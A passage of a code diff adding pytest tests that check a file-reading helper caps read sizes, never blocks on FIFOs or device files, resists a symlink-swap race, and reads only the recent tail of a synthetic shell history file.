4.1GB peak RSS through _mac_launch_items(); a +# symlink swapped to a FIFO right after the check re-opened the hang. safe_read_* closes +# both: O_NONBLOCK + S_ISREG on the FD, and a hard byte cap. +def test_safe_read_caps_huge_file(tmp_path): + big = tmp_path / "big.bin" + with open(big, "wb") as f: + f.truncate(200 * 1024 * 1024) # sparse: instant, ~0 disk + data = since.safe_read_bytes(big, limit=64 * 1024) + assert data is not None and len(data) == 64 * 1024 + + +def test_safe_read_never_blocks_on_fifo_or_device(tmp_path): + fifo = tmp_path / "f" + os.mkfifo(fifo) + dev = tmp_path / "z" + os.symlink("/dev/zero", dev) + with deadline(): + assert since.safe_read_bytes(fifo) is None + assert since.safe_read_bytes(dev) is None + assert since.safe_read_text(fifo) is None + + +def test_safe_read_is_toctou_safe(tmp_path): + """The check happens on the FD we actually read, so winning the check-then-open race + with a FIFO does not resurrect the hang.""" + real = tmp_path / "real" + real.write_text("") + fifo = tmp_path / "fifo" + os.mkfifo(fifo) + link = tmp_path / "x.plist" + os.symlink(real, link) + assert since.is_regular(link) # passes the cheap pre-check… + os.remove(link) + os.symlink(fifo, link) # …then the target is swapped under us + with deadline(): + assert since.safe_read_bytes(link) is None + + +def test_safe_read_missing_and_dir(tmp_path): + assert since.safe_read_bytes(tmp_path / "nope") is None + assert since.safe_read_bytes(tmp_path) is None # a directory is not readable + ok = tmp_path / "ok" + ok.write_text("hello") + assert since.safe_read_text(ok) == "hello" + + +def test_safe_read_tail_starts_on_a_line_boundary(tmp_path): + h = tmp_path / "hist" + h.write_text("".join(f"cmd number {i}\n" for i in range(1000))) + out = since.safe_read_text(h, limit=100, tail=True) + assert out.startswith("cmd number ") # no half-line fragment + assert out.endswith("cmd number 999\n") # and it really is the TAIL + assert len(out) < 100 + + +def test_history_is_bounded_and_recent(monkeypatch, tmp_path): + monkeypatch.setattr(since, "HOME", tmp_path) + monkeypatch.setattr(since, "_HISTORY", None) + monkeypatch.setattr(since, "MAX_READ", 4096) + (tmp_path / ".zsh_history").write_text("".join(f"brew install pkg{i}\n" for i in range(5000))) + hist = since.load_history() + assert hist and hist[-1] == "brew install pkg4999" # newest kept + assert "brew install pkg0" not in hist # oldest dropped by the cap